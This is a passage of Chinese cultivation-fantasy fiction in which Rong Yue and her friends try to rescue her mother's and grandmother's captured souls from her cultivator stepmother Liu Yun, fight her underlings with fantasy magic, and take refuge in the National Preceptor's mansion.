大爷:“好嘞。”坐上驴车,“老伙计,走喽。”
‘你要去找李从梦?’
容月不说话,只点点头。
靠近河流,离都城不远的地方有个镇子,李从梦的家就是这个镇子最大的宅子,李宅。
她上前敲门,等了一会儿,门‘吱呀’一声,开了。
一个特别精神、健硕的老婆婆眼神犀利地望着外面,看到是容月,面色缓和,让开身:“容姑娘。”
容月很郑重地双手交叠,躬身颔首:“历前辈。”
“月儿!”李从梦欢快地跑出来,拉着刚进门的容月往屋里跑,“你终于想清楚离开容府了?!快快,我都等你好几天了,你再不来,我就要去你家打晕你,把你带走。”
容月拉拉李从梦的手:“梦梦……”
李从梦兴奋地没有注意,松开她的手,从房间柜子里拿出一个超大包裹,轻巧地放在桌上:“我已经准备好了,保管我们路上不会挨饿,等找到我哥,我们......”
“梦梦。”容月加大音量,“我暂时不能和你离开。”
李从梦笑容僵住,嘴角落下:“‘暂时’是什么意思?你舍不得你那个爹?!”说到容月的爹时,她还生气瞪眼。
“不是。我今天来,是想请历......你和历前辈帮个忙。”容月望向李从梦沉声道:“柳筠抓了我母亲和奶奶的魂魄。”
李从梦看了她一会儿,面无表情地从大包裹里抽出剑,气势汹汹往外走。
“你干什么去!”容月连忙拦着她。
李从梦怒视容月:“从我五岁与你相识,到被我哥捡回家,整整四年都是你娘偷偷养着我,要不是你那个没用的爹阻拦,她早就是我干娘!干娘走了,奶奶就会在我哥不在的时候,做饭给我吃,一做就是五年,还包括历婆婆两年饭。就这恩情,你竟然现在才告诉我那个死女人抓了你娘和奶奶!”气得甩开容月的手,“我去杀了那个臭女人!”
“梦梦!”容月赶忙拉回她。
李从梦奋力甩手,往门口冲:“放开我!”
容月跟在后面继续拽她:“她是修士。”
“修士怎么了?!历婆婆也是!”
历婆婆淡然说道:“柳筠不久前刚筑基。”
李从梦顿时愣住:“......”
容月瞪着眼睛:“......”
历婆婆:“之前的骨龄我替你们瞅了眼,一百三十岁。”
片刻
容月收回手,转身进屋。
李从梦欲言又止后,默默跟在她后面进屋,把武器又收回包裹里。
两人面对面落座圆桌旁,对视一霎,同时开口:
李从梦:“我说对了,你爹真娶了个‘祖宗’。”
容月:“你没说错,我爹是娶了个‘祖宗’。”
李从梦:“哈哈哈......”
容月:“哈哈哈......”<
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据李从梦哥哥,李慕青讲过,修真界最快、最天才的修行速度,七十岁练气后期,九十岁筑基,这还是在吃丹药堆积的情况下。
一般情况下,一百四十岁筑基。
柳筠,也就是容月的继母,修为高,但她们一直以为最高也就练气后期的修为,毕竟,筑基期在整个修真界都是凤毛麟角的存在,谁会想不开在世俗界生活。
她们更不明白,柳筠为什么要嫁给凡人。
不过,娶个真‘祖宗’回来,也是挺好笑的。
历婆婆弯弯嘴角,又压下来。等两人笑的差不多了,走过去,坐在两人中间,两人赶紧坐直身体。
历婆婆问容月:“需要帮你什么?”
“每年的三月十五,柳筠会外出几日,我想乘着柳筠不在府里的时候,去把我娘和奶奶偷出来。”容月对历婆婆微微低头,“为防万一,能否请历前辈能在容府外围接应我。”
李从梦连忙道:“我也要去。”
两人没有理她。
历婆婆毫不犹豫答应:“好。”
容月:“还有,我想租一辆灵力马车,不知黑市是否有?”
历婆婆道:“有,但要用灵石。”
容月转头要向李从梦借,李从梦尴尬低头,不敢与她对视:“我为了能追上你,用光了我哥给的灵石。”
容月改向历婆婆借,李从梦又立马补充:“历婆婆的......也被我用了。”
看着容月投射的无言的目光,李从梦赶忙说道:“我们先去找我哥,他......”
“大海捞针。”容月神情落寞,眼神失焦,“等找到她,我娘和奶奶已经是厉鬼了。”
李从梦:“月儿......”
“没事。”容月很快振作起来,小声嘀咕,“看来,我还得回国师府才行,目前只有那才会有灵石。”
李从梦疑惑:“什么......国师府?你别和国师府搭上关系。没灵石,可以去黑市看看有没有人用灵石做报酬,不用去那么晦气的地方。”
在普通百姓眼里,国师府可能是帮忙捉怪物保平安的地方,但在上层人士和修士眼里,就是一帮强盗,到处搜刮资源,明抢。
容月:“十年来,你可有看到过给灵石做报酬的?”灵石根本就不在世俗界黑市流通。
李从梦:“那也不能沾国师府的边,我哥说的。”
容月无奈道:“柳筠把我嫁给国师大人,做他第十九个小妾。”国师大人没正妻。
“什么?!”李从梦怒急起身,气道,“那个臭女人......”又反应过来,“不对,你都从国师府出来了,就别回去,我养你。”
容月不再理她,对历婆婆说:“前辈,明晚能否带我去黑市问价格?”
“可以。”
“多谢。那明晚见。”
容月行礼,转身离开。
“诶?你去何处?”李从梦追出去,“你知道你干娘和奶奶被关在哪吗?”
容月头也没回:“今晚我会偷偷回府探查一番。”
李从梦喊道:“翠儿等你两天了,你去一下。”
容月摆摆手,表示自己知道。
背影消失在门口,李从梦愣愣地看着,叹口气:“唉。”
历婆婆站在她旁边,望着门口,不解地轻声说:“国师府可不是说进就说出就出的地方,周围布满大阵,各个出口由当值的国师大人布置结界,一般筑基后期以下的修士根本进不去出不来。她是怎么出来的?”
“应该有人带她出来。”李从梦随意道。
历婆婆不知可否:“嗯。”
5. 第五章
出镇子,树下歇息的老伯赶着车过来:“回吗?”
容月:“去刘家村。”
刘小翠是容月、李从梦做生意时合作的伙伴。
容月母亲生病那会儿,需要大量药材,为了能维持长期治病和吃饭需求,容月和李从梦除了倒卖黑市东西和逢集摆摊,就是和刘小翠买药材。
刘小翠家的药田加山上采的药正好是容月母亲所需,剩余的还能卖掉。等母亲走后,刘小翠改种奶奶调理身体的药。奶奶意外去世,上一年的药钱已经给了,这个月就是交接药材的时候,也是下一年确定药钱的时期,刘小翠急着找她也无可厚非。
灵气稀少的都城,改种灵草,必然枯萎,但有了聚灵符,可以一试。来这一路,容月已经打算好让刘小翠种什么。
自身回复灵气太慢,只能靠丹药。黑市的丹药都是以灵石交易,如果能种灵草,加之不久前刚学得的初级炼丹,炼制步骤已烂熟于心,只要实际操作成功,哪怕炼制出一颗丹药,她和李从梦就不缺修炼灵石,刘小翠也能挣钱。
刚到刘家村门口,远远瞧见刘小翠背着背篓从山上下来,听到毛驴的铃铛声,看到容月,开心地跑过来:“容月。”
容月不像在李从梦面前那样洒脱欢快,而是很文雅地提着裙摆下车,微笑着抱拳行礼:“刘姑娘。”
“快来,快来。”刘小翠拉着她往家跑,“等你好久了。”
容月被她拉着快步跟着:“刘姑娘,我......”
“我知道你要说什么,先等等,我爹找你。”刘小翠高兴道。
到了刘家破旧屋子前,刘大叔正好推着门出来,见容月来赶忙迎着进门:“容小姐来了,快请进。”
容月客套着行礼,刚跨进院落,婴儿尖锐的啼哭声传来,刘小翠连忙放下背篓,跑去西屋。
刘大叔微微叹口气,继续带着容月进主屋。
“那婴儿是?”容月客气问。
刘大叔抬手示意让容月坐在四方桌前,给容月倒了碗茶,失落道:“是我那没福气的婆娘,难产死的。”
容月愣了一下,声音低沉道:“节哀。”
过去一年,容月为了能知晓自己未来命运,都是在修炼中度过,都不知道刘小翠的母亲怀了孕,还难产死了。愣住,也只是感觉到了世事无常。
刘大叔摆手:“不说这个。”
“呀~呀~”
欢快的婴儿声从屋外传来,刘小翠抱着小孩进门:“爹。”
“你咋把他抱出来了。”刘大叔连忙起身走过去问,“赶紧抱回去,还小。”
刘小翠:“我不想抱出来,但是放下他,他就哭,容小姐好不容易今天来。”
刘大叔:“我会好好和容小姐说的嘛,你抱他回去。”
刘小翠没听他的话,挤开他进门,刘大叔皱眉转开身,跟着。
就在两人转开身的一瞬间,容月看到一个灰黑色飘动的人形跟在后面,待那东西靠近点,瞅见它的脸,容月微睁圆眼睛,连忙起身后腿半步。
那不是刘小翠她娘吗?脸色白的离谱,有点透明,眼睛黑洞洞的,像是无意识。
“容月,快坐快坐。”刘小翠没发现她的异样,“每次见你,都是大家闺秀般的礼节,要不是李姐姐强迫我叫你容月,我还得客气地喊你容小姐才是。”
容月视线紧盯小翠,余光中,鬼影朝着她飘来:“只是个称呼而已,不打紧。”
三人坐下,孩子渐渐不再哭泣,刘大叔瞅瞅孩子,舒心地微笑:“容小姐一来,孩子都不哭了。”
“好像又要睡了。”刘小翠轻轻晃着。
刘大叔见孩子没吵,继续和容月说道:“之前李小姐说过,如果有人来收药材可以卖,实在卖不掉她会继续收。”说到这,傻笑一下,拿出容月去年给的银两,推给她,“老汉我啊,以为价格会不好,哪晓得,今年价格非常高,比你们给的还要高一成,之前药贩子死了,现在的要和我签契约,我想着,要不......”
容月微微低了一下头,瞅见黑影在自己身后就是站着,没做什么,立刻抬头嘴角微抬,想要说什么,被刘小翠打断:“爹,容月在我们家买药材那是在帮咱们,要不是她,我们一家继续被收药贩子压低价格,饿死。”
刘家村大部分人还是以种粮食为主,药材不是不想种,而是没那手艺。刘大叔有手艺,但地不多,粮食种了挣不了多少钱;可种了药材,就不能种粮食,买粮食也是一笔开销,再加上药贩子压价,生活更难了。
幸好有了容月,采购量大,刘家还能上山采。
“你还想抬容月的价,爹,不要让我看不起你。”刘小翠怒视他。
“老汉没有抬价,老汉不是忘恩负义。”刘大叔提高音,“之前不是和你说了嘛,我打听过容小姐的情况,她不需要这么多药......”
“爹!”刘小翠把怀里的娃娃塞到他怀里,拉着容月出了屋子。
鬼影跟着容月出来。
刘小翠气呼呼的又带着愧疚对容月说:“药材卖的贵我也欣喜,我也想要银钱。可当时是你看到我在黑市里可怜兮兮卖药材心生怜悯才长期买的,毕竟,别家药材也是那个价格,品相又好......所以,就算是你以后不再需求,也得是你先不需求我们,而不是我们为了银钱......”
“我懂。”容月真诚的对刘小翠点点头。
刘小翠所说的‘黑市’只是夜市,严格来说,只是真正黑市一个边角料,而这种边角料有很多,是民众私底下自己建立,挂靠在黑市名下求保护的。
刘家的药材贱卖,撑不起家用,只能去夜市碰碰运气。他们运气很好,遇到正好买药的容月。那个时候刘小翠的母亲还在世,只是人很瘦弱,容月看到和自己母亲一样瘦弱的人,不禁起了同情心,又正好需求,就买了。
她给了同情心,小翠同样回给她热情,每次草药会给多,不时送菜送米,帮她和李从梦做一点‘小事’,但对于小翠来说,这些事要全力以赴。
李从梦那家伙,只要有人对她好,她就不跟别人客气,所以只能她警戒。
她不是铁心,也渴望有人毫无保留的对她好,现在,好像又有一个。
容月:“小翠。”
听到容月叫她,刘小翠先是呆住,后惊讶,最后满眼都欣喜地望着容月。
“我娘和奶奶不在了,不再需求药材,你让大叔卖给其他人。”容月嘴角一弯,“不过,我需要你的帮忙,帮我种些东西,在山上种,不会耽误大叔种草药,大叔的钱就给你。”
刘小翠翘着嘴角喃喃道:“你,刚刚叫我,小翠?”
容月:“嗯?不能叫吗?”
“能!能!”刘小翠使劲点点头,高兴道,“你叫我小翠了!”李姐姐和她说过,容月因为母亲的原因会有警惕心,在加上她奶奶过世,怀疑是继母所为,心里的防线更是很强,要不是李从梦是她娘在世时救助的,也不能那么容易获得容月的信任。
“叫你小翠就那么高兴?”容月不是很理解,名字而已。
小翠笑眯眯道:“反正我高兴,你要种的东西就放心交给我吧,不用给钱……”
“银钱要给,种地需要的东西都我出,连你的饭钱也包。等过几天,我把种子交给你。”容月略带不好意思道,“我不知道种的方法,你随意试。”
瞅见小翠沉思的表情,她又连忙说:“死了也无碍。”
“你这是何话?”小翠满脸坚定,“怎可全部死掉,怎么也得给你留点活的。”
两人相顾无言一会儿,同时笑了:“哈哈哈。”
两人说定,天色见晚,容月没多待,她还得去容府查探,没有答应小翠的晚饭邀请,匆忙坐车驴车回去。
走的时候,她特意关注了鬼影,发现鬼影自从发现她,就好像黏上她似的,离得很近。
不过也好,让她留在小翠家,肯定不会有好事。
容月示意绒绒查查看,鬼魂为何会在人间不走,梦里可没看到过这样的。
‘书里没写。’绒绒舔舔触须,翻页查找,‘除了你娘和奶奶两只恶鬼,其他的没有记录,说明不重要。’
容月:“......不要称呼我娘和奶奶是恶鬼,多谢。”
‘书里是这么写的。’绒绒一副好学的模样指着一处,‘哦,这里有一句你那继母的话,学给你听,’
绒绒掐着嗓子,略低沉说:‘孩子的死亡最能引发亲人的仇恨。哼,我看那小子怎么对付白清和那个姚老太婆。’
‘那小子是指你未婚夫。’
白清是容月她娘的名字。
‘也就是说,孩子是这个鬼影的执念,所以她在这里。’
容月不信:“不是只有她有孩子的执念,其他母亲为何不曾出现?”斜眼瞟了下,“她的身体是上半身有点实体,下半身几乎是透明,有可能死了后,有什么东西放在头边影响了她。”
小翠家穷,能有什么东西会影响她?
“到喽。”赶车大爷停下车,“城门还没关。”
容月提着衣摆下车,给了去小翠家的银钱,客气行礼,悠然往城里走。
大爷手颠着钱,望着她背影嘀咕:“还得是有钱人家的小姐,真有礼。”
城内做生意的人走了大半,冷清不少,容月找了暗巷,把外衣换成暗色,脸上带着暗色面具,用黑色布把两手腕处绑起来。
坐等天色暗下,容月来到容府后门,找到梦梦说的比较矮又比较安全的地方,跳上墙,刚要下去,一只手拍在她肩膀。
容月一激灵,反手抓过去,对面低呼:“呜呜呜......”
‘梦梦?’容月放手,心中惊讶后,咬牙无声瞪她,头点几下,意思,‘你怎么在这?’
李从梦揉着手腕,向后努努嘴,无声示意,‘放心,有婆婆跟在后面。’,还拿出两张符纸甩甩,‘婆婆还给隐息符纸。’
容月拿过一张,咧着嘴,宝贝地摸摸,‘奢侈。’
想到身边的鬼影,容月指指双眼:‘你有看到什么东西吗?’
李从梦贼贼地四处瞅,耸肩:‘没有。’歪头,一只手比圈,‘有陷阱?’
容月皱眉摇头,李从梦看不到?历前辈应该在暗处盯着她们俩,如果看到黑影,应该会第一时间出来控制黑影,可现在都没出来,说明,她也看不到!为什么?
容月没问婆婆在哪,也没让李从梦离开,和她一起跳进容府,指指自己,再指指南边,‘我去南院。’指指李从梦,指指她以前住的院子,‘你去我住的院子。’
她伸出手掌和李从梦相触,轻微掌声,两人分开。
这是她们的暗号,‘听懂,掌声。’
母亲被关在一个瓶子里,瓶子放在哪,容月不是很清楚。南院是继母平时放置贵重东西,处理家务的地方,
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一般很少让容府下人去,就只能是那。
南院的墙边,容月仔细观察,没有任何阵法的痕迹,只有简单的几张符纸贴在角落,形成简单的警戒机制,触发会提醒主人有敌来犯。
“竟然没阵法。”
绒绒:‘柳筠已筑基,那她肯定把所有资源用在自己身上,有符纸在已然说明这里对她很重要。’
容月脚蹬着树,踩着墙,双手张开,飞离地面三丈高,飞进院子,轻落屋顶,跑几步,跳落墙脚。
院子里没有人声,容月正偷偷观察的时候,身边的鬼影突然窜出,向着一个房间而去。
容月诧异间,赶忙跟上去,它应该是能听到什么声音,或者,感受到吸引鬼怪的东西:“绒绒,鬼是否能相互感应?”
‘书里有说,你娘成为恶鬼后,可以自己找‘东西’吞噬,这个‘东西’,就是鬼怪。’
小心翼翼来到屋前,黑影站在门口没动,容月发现门上贴了符纸,属于低阶的禁止符,对于容月来说,很好破解,却会触发禁制。
容月绕着屋子,查看窗户,窗户上也有禁制,唯一好的点就是,窗户上的禁制是针对的人,只有门上是禁止所有生物。
容月绕回门前,第一次正眼看黑影:“不知您是否还认识我,我们做个交易如何?”
黑影好像有点惊奇容月能看到它,歪头看她一会儿,发出低沉的‘额’声。
“你帮我找到此地鬼魂所在,我帮你把下半身变得紧实。”容月手心向上,“听懂,手掌相触。”
等了一会儿,阴凉的触感在手心一闪而过。
容月:“你从上面的窗户进入,小心里面会有阵法或符纸。”
鬼影缓慢向上飘,容月跑到对面的房子旁,想要躲起来随时能跑,却发现屋子门上尽然有阵法,虽弱,但却比对面符纸的要强点,也是禁止进入,窗户上的符纸和对面门上的一样。
如果是像她一样来探查的人,看到两个屋子情况,一定以为这个屋子里的东西比对面的要重要。要不是开始鬼影突然窜出来,容月必定选这个屋子探查。
但在梦里,母亲和奶奶是柳筠手里最大杀器,应该是最重要的才对。
容月不关心继母在屋里藏了什么重要东西,她只安心等着鬼魂出来给她消息。
等待一会儿,忽然,从她之前住的院子里散出一道微弱的符纸能量,微弱到容月以为是微风扶耳。
南院靠近院门的方向,有一间很小的屋子,灯亮了。
想到李从梦在自己院子里探查,容月翻身上墙,远远望去,主院的灯也亮了。
李从梦被发现。
容月想都没想,跳上旁边屋子的屋顶,对着没有任何符纸的屋顶来了一击,立刻被阵法挡了回来。
“谁!”空中一声呵斥。
容月只感觉胸口被重击,嘴角溢出点血迹。
一道人影从墙外飞进来,向着李从梦的方向而去,应该历前辈。
容月再次重击屋顶,好几道人影朝着她方向而来。
鬼影匆忙的从对面屋子出来,跑到容月身边,容月发现她的透明的下半身又透明了点。
不待她细看,已经被四个人围住,其中就有继母身边的总管,柳婆子。
从天而降一张灵力网,朝着她扑来。
容月灵力恢复很慢,不到三成,才练气初期,法术都是低等级,对付他们肯定不行,她选择只针对灵力网。
双手施法,全力对准灵力网,以为会弄出了洞,能勉强出去就行,哪知,灵力网直接被碎成渣。
容月:“!”他们是不是有后招?!
“休想跑!”柳婆子说。
四人在屋顶把了容月围住,祭出手里的武器,两人近身,两人远攻。
容月闪躲着柳婆子和另一人的攻击,还要注意远处的人灵力。双指并拢,抵挡住柳婆子匕首,下腰躲过射来的箭,抬脚踹飞身后偷袭的人,拽过柳婆子手臂,用她挡住远处施法,使用法力,再打伤射箭的人,迅速跳远跑走,一切动作行云流水。
“追!”
容月纳闷地转动手,她一对四,怎么会这么顺?警惕周围环境,速度减慢,怕前面有陷阱等着她。
不然,四人怎么那么弱,除非是装的。
她速度慢下来,后面四人很快追上。刚跑出容府外墙,历婆婆拎着李从梦在屋顶上跳跃,后面跟着柳筠。她应该是急着出来,身上的衣服特别清凉,配上本就有点妖艳长相,更是艳丽非常。
她轻盈地跟在后面,甩出手里的滕枝,轻巧地抓住历婆婆的腰。
历婆婆把手里的李从梦扔给容月:“走!”
容月接过李从梦二话不说,带着人就跑。
李从梦虚弱着叫一声:“婆婆!”
柳筠手抬起,向下一压,施展威压:“跑不了。”
威压之下,历婆婆腿软了下,又颤微的站直,另外四个围攻容月的人直接跪地,李从梦更是直接吐血,反而是容月,只是和刚才一样,胸口沉闷,嘴角微出血,很快带着李从梦跑远。
容月把李从梦安置在一处人家墙院外的柴火堆里:“梦梦,安静地待着。”
李从梦虚弱地喘息:“别......去,婆婆,她还有,符纸……”
容月摸摸她脸:“知道,我不会拖后腿。”
“不,别......”
容月转身离开。
6. 第六章
城中已经宵禁,安静的地方打斗,声音应该吵醒居民,可容月一点声音都听不到,看来,柳筠设了隔音屏障,她应该是不想引起一些人注意。
容月跑回容府,跳上屋顶,历前辈正甩出符纸转身要跑,被柳筠一木头飞镖打在腿上,身形顿了下,被其他四人围住。
贴上加速符,打飞挡住的四人,又被柳筠给拽回来,摔在地上。
历婆婆再甩符纸,再跑,又被抓了回去。
而另外四人,只围住她,根本没有动作。
他们就像逗着老鼠的猫,想要逼的老鼠精疲力尽。
“夫人,另外两个要去抓吗?”
柳筠甩手,藤枝拽住历婆婆的脚,轻蔑一笑:“抓这个大的就可以。宗门真是没人了,派几个喽啰来调查我。”
容月乘着这个空档窜出。
对于又折回来的人,柳筠轻佻嘴角:“哼,还挺重情义。”
她的下属受到她影响,没有刚才的急切,例行公事办围过去。
他们到达容月不足百米时,一阵雾气迎面而来,挡住视线,看不到容月踪影。
柳筠不明白为何四人想瞎子一样看不到,眼神一厉:“废物。”
吃了几粒丹药,施展威压。
这是容月遭受的第三次威压,从第一次吐点血,到这次的胸烦闷,她也终于明白,要么自己的身体强悍,要么是修行的功法问题,反正她对于柳筠的威压没有感觉。
容月施展同样的功法,用雾气围绕柳筠的眼睛,容月快速扶起历婆婆:“前辈,能跑吗?”
历婆婆单腿站起:“走。”
容月用肩膀架起历前辈胳膊,让她半边身子靠着自己。
身后的柳筠眼睛微眯,灵力驱散眼前雾气,看到两人后,手掌向下,满地藤枝从地下疯狂长出,围住她们:“留下!”
四位下属找到诀窍,驱散眼睛上的雾气,迅速助战,对着树枝笼里的容月和历婆婆射出箭和火球,飞刀更是密密麻麻。
容月就算快速闪躲,也会被法术攻击到,脸上、身上、腿上都是伤口。
笼子越缩越紧,容月右手食指中指并拢,身前画圆,放置额头,牵引出灵力:“幻雾,起。”
清晨的雾气原本就渐起,加上容月施法,雾气升起更快更浓郁,伸手出去看不见手掌。
柳筠轻蔑哼笑,灵力驱散身前雾气,刚看到容月的背影,雾气马上又聚拢。
柳筠:“怎么回事?!”烦躁的再次驱散眼前的雾气,两人的身影已经消失,“柳婆……”
破空声打断柳筠的话,手里枝条汇聚成棍,横在胸前警惕地望着周围时,听到三声惨叫,随后雾里飞出大量冰针,扑面而来。
柳筠惊速后退,手里的木棍甩起,挡住大部分冰针,闪身躲避。
等把冰针打完,散去前方雾气,只看到躺地上的三个手下,容月带着历婆婆已经离开。
柳筠气得喘气怒吼:“你们这些废物!废物!”
柳婆子不复之前对容月那种傲慢和轻视,捂着受伤的手臂,晃晃悠悠地挪到柳筠面前:“主子,属下观察到,他们用的符纸是宗门特有,年纪大的那人应该是哪个宗门的长老,两个小的……”她一时间不知怎么描述。
“救人的那个,看似练气初期,施展的法术威力却不是……”三人中唯一男下属起身接着说,“应该是哪个宗门天才……弟子。”说道后面声音慢慢消失,因为柳筠觉得‘天才’二字特别刺耳。
柳筠面无表情轻撇他一眼:“天才?呵,活着才能是天才,死了,也只是凑数的。”
柳婆子:“主子,要不要继续搜,三人中两个人受伤,没受伤的那个也没多少灵力,跑不出城。”
“派人轻点动静找,不要惊动国师府。”
“是。”
柳筠怒甩袖要离开,走几步,侧头:“国师府上的容月,不要有差错。”
柳婆子:“已让刘家的媳妇看守,也问过国师府侍卫长,府里的人不能随意走动,也不可能出国师府。”
“武天,炼制好白清和那个老太婆,不要破坏我的计划。”
男属下武天:“白清的神魂已混乱,很快就能控制。那个老的,还需要点时间。”
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天色渐亮,雾气消散的差不多。
容月把隐息玉佩挂在历婆婆身上,她收敛气息,又问手镯里的绒绒:“能看出我是修士吗?”
‘追兵看不出。’手镯亮一下。
容月简易的把历前辈的头发编好,盘起,她手上挎着篮子,慢慢朝着巷子口挪动。
慢慢的,有居民早起出门买菜,容月带着历前辈慢吞吞跟在后面,出了巷子。
清晨的街上还没有多少叫卖,只一些做吃食的刚出摊。
容月跟着的是位中年妇人,和周围人都很熟悉,不时打个招呼,说几句。
在他们的话语间,容月了解到,城门还未开,进城卖菜的人没进来,想要挑选最新鲜最好的菜,妇人要去城门口排队出城,在城门口处可以先买。
正好乘着这个机会,出城。
“咳咳咳,从梦在哪?”历前辈脸色比平时略显苍白,和正常的老太太很像,加上走路慢,腿脚不好,更像老太太。
容月面容柔和,轻声细语着说:“我把她藏在东市,靠近国师府的一户人家旁,那里人少,安全。”
还有,李慕青给了李从梦保命法宝,危险时刻会带她离开,回镇上的家里。
历婆婆咳嗽几声:“据我观察,偷摸搜查的人很多,就算他们不认识长相,没发现我身上血腥味,也会跟着出城的人观察,我们迟早会被发现。”
“所以,现在不出城?”容月撇了眼周围,亲切地笑着问,就像平时和奶奶说话一样。
历婆婆笑着拍拍容月的手,踉跄着带她往城门走:“这个时辰正是那些早起妇人买菜的时候,我们既然要扮演百姓,最好不要太惹眼,跟着他们走就是。”
容月想想也明白,不出城,她和历婆婆在城里晃悠很显眼,出城离开,会被跟踪也会被发现,不如装成买菜的,混在人群里,等人多多起来,她们再多换装,总能摆脱。
“你怎会想着把从梦放国师府旁?”历婆婆问。
容月沉思片刻道:“藏哪都一样,我依赖的是从梦的保命法宝。”
历婆婆点点头:“你其实给了她找了好地方。”
“?”容月不解。
“国师府周围有结界。”历婆婆抬眼望着前方快到的城门,“给你们讲课时提了一句。”
容月:“嗯。”
“几个月前,我去黑市取李慕青寄的包裹时,听到有人闲话说……”历婆婆转头望向容月,“结界在变大,那个时候,已经大到国师外围六十丈。”
容月心一跳,她出国师府时,没怎么关注人流,只以为是官家重地,没多少人很正常……
“前辈……”容月微微皱眉,不对,“柳管家
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他们……”送亲时进去了。
“应该只有被准许之人,带着特制的东西,才能带人进入。”
容月疑惑问:“可我……”顿住,抿抿唇,她不仅自己出来,还能带着从梦进去。
城门口已经排了很多人,历婆婆拍拍她手被,阻止她继续说下去:“先买菜。”
“……好”
第一缕阳光照在城墙上,城门缓缓打开,百姓拍着队缓慢进出城门口。
容月和历婆婆倒是很容易出城,只是出来后,她敏锐察觉,有几道视线从她身上扫过。
“大姐,看看菜?我这新鲜的。”
“家里种的米,瞅瞅。”
还有人小声道:“刚杀的猪,要不?在不远处的草丛里藏着呢。”
历婆婆带着容月跟着几个妇人在小贩子间转悠,不时买点菜和调料放篮子里。
等篮子放满,悠哉得又带着容月回到城里。
两人回到原来的巷子,在没人的地方换了身衣服,头发改了个方向盘起,前后走,变成母女的状态。
绕了一圈,进了另一个巷子,单独出来,又变了样式。
来回这么几遍后,她们才摆脱监控视线,得以在东市一处拐角相汇。
“噗,咳咳咳……”历婆婆撑了太久,等到了东市隐秘角落,见到等待她的容月,才把嘴里憋不住的血吐出来。
容月担忧道:“前辈!”
她摆摆手声音沙哑,有气无力道:“咳咳,没事,走。”
容月转身把历婆婆背在身上,大步往前。
东市很大,除了皇城,几乎占了内城的一半的地,李从梦藏身处其实离国师府还有点距离,但已经是最近的。
从她们所在的地方到李从梦藏身地,普通人要半个时辰,容月是修士也得用一刻,历婆婆全力的话,会更短时间。
在历前辈说过国师府的大阵扩大后,容月专门留意周围,发现,国师府周围真的很空。之前出来时,由于过度紧张,导致她没有发现异常。
路过国师府,容月按照昨晚的路线,背着历婆婆来到李从梦藏身的大户人家后门,发现埋李从梦的柴火堆少了三分之一,容月焦急上前,小声喊:“梦梦!梦梦,你在吗?”
历婆婆拍拍容月的肩膀:“放我下来,你看看这里有没有打斗的痕迹。”
容月连忙把历前辈放置在柴火旁:“她有可能回去了。”
拨开几个柴火,没有发现人,盯着地面,只有一个人的脚印,没有打斗痕迹:“梦梦?”
“月儿......”微弱的声音不远处传来。
容月转头回望,左边三丈远处,一颗大树下,有堆黑色的东西在动。
“梦梦。”容月跑到树下,李从梦惨白的脸从黑色袍子底下出来,“你怎么跑来这里?”
李从梦有气无力地白她一眼:“你给找的地方,能待吗?”
容月承认道:“没人能有你会躲,我的疏忽。”
背起李从梦,走过去扶起历前辈:“前辈,抱住我脖子,我带你们进国师府。”
李从梦调侃道:“进去再被抓住扔出来?”
“我出来时,发现有些假山后面能藏个人。”容月带着两人来到国师府墙外,“国师府安全,且灵气稍微比外面多点。”
历婆婆抬头,出神地望着国师府的墙:“我知道国师府哪里灵气充足,还很安全。”
容月:“?”
李从梦:“?”
7. 第七章
容月身挂两人,按照历前辈所指方向,跳上围墙,顺利进入国师府。
“这个地方除了偏僻外,也是视线的夹角,容易被巡逻忽略。”历婆婆指指左边,“你顺着墙走,到院门口就进去,立马贴着右前方墙走,不会有人发现。”
容月没有好奇历前辈为何知道这么清楚,什么话都没问,按照她说的走;李从梦安静地趴在容月的背上,啥事不管;历婆婆也没解释自己为什么知道。
就如之前,历婆婆知道容月可以进出国师府,也不好奇她身上有什么特别之处。
三人如说好了似的,不去探究对方的秘密。
按照历婆婆所指路线走,守卫很少,死角多,隐秘性高,只要不突兀,很难被发现。
在她们遇到第二波洒扫的人时,得到一个对容月来说,不是很好的消息。
“国师府已经找了一天的叛徒,还是没找出来吗?”
“你以为呢。国师府里的人可不比皇宫里少,就国师大人那些‘夫人’,就有十九个,据说马上要有第二十个。你想想,有的夫人可是带了很多下人的。”
“也是啊,皇上的妃子也差不多。对了,叛徒查到哪了?我们这些国师府下人,可是第一批查的。”
“听徐大婶家儿子的朋友说,下人已经查完,接着是查‘夫人’,说是先从外来人查。”
“国师府查叛徒为何这么慢?”
“说是国师大人亲自过目的。”
容月心里一惊,查‘夫人’?
梦中,是三天后,国师才去看她,还是因为他想看看陆无虞的未婚妻长什么样才去的。
原文和梦里都没有抓叛徒这件事,难道是因为她夜探容府,改变了什么事?
历婆婆小声道:“去那边亭子。”
容月回神,现在不好问绒绒,等安全再说。
三人顺利到达一处安静又隐秘的......花园?
历婆婆朝着空地弱弱打了一掌,容月面前出现一扇门:“进去吧。”
表面是花园,实则是小院子,灵气比外面高点。
唯一两层小楼周围,全是杂草,已经人高了,但楼里却干净如新。
梁婆婆:“左边第二个房间。”
房间里,只简单的两个蒲团,其他啥也没有。
容月扶着梁婆婆,坐到蒲团上,把身后的李从梦放在另一个上,被历婆婆打断:“你坐上去,把从梦放在地上。”
容月顿了下:“......好。”把李从梦放旁边地上。
刚坐下,周围的灵气缓缓汇聚,不多会儿,灵气已经比国师府高出一倍不止。
手镯里的绒绒开心地翻滚:‘灵气,好浓郁的灵气,太久没有感受过了!’
容月只觉毛孔张开,身体舒爽的放松,枯竭的灵力快速恢复。
一刻钟的时间,容月睁眼,灵力恢复结束,历婆婆还闭着眼打坐。
绒绒:‘容月,我身体好了!’
就连默默跟在容月身边,下半身几近透明的鬼魂,都凝实不少。
容月微笑:“因祸得福?”
容月轻手轻脚把李从梦扶起,倒在自己身上,两人手掌相握,灵气畅通无阻的在李从梦身体里走一圈,内脏受伤,骨头完好,静经脉也正常。
李从梦虚弱着一路睡到现在,容月摆弄她都没醒。
“怎么样?严重吗?”历前辈的声音从后面传来。
容月:“内脏受伤。”
历前辈拿出小瓶,倒出三粒丹药,一粒塞进李从梦嘴里,“吃几天丹药,在国师府休息几天就好。”抬手递给容月,自己吃了一粒。
容月摇头:“不用,我没事。”丹药珍贵,能不用就不用。
历婆婆收起丹药:“咳咳咳,楼上可以休息。”
容月利落地背起李从梦,拦腰扶起历婆婆上楼梯。
感觉到她的身体软弱无力,容月担忧道:“前辈,你的伤......”
历婆婆褶皱的脸上有不属于她这个年纪的红润,如果不是她行动迟缓,外加咳嗽,根本看不出受了伤。
“伤是次要的。”历婆婆靠着容月,颤微的爬着楼梯,“柳筠的滕枝上,带毒。”
容月:“刚才的丹药能解毒吗?”
“解不了。”爬到二楼,历婆婆喘着气,“不过,我可以做简易版药方,需要一些草药,你能否帮我……”
“能。”容月毫不含糊回答。
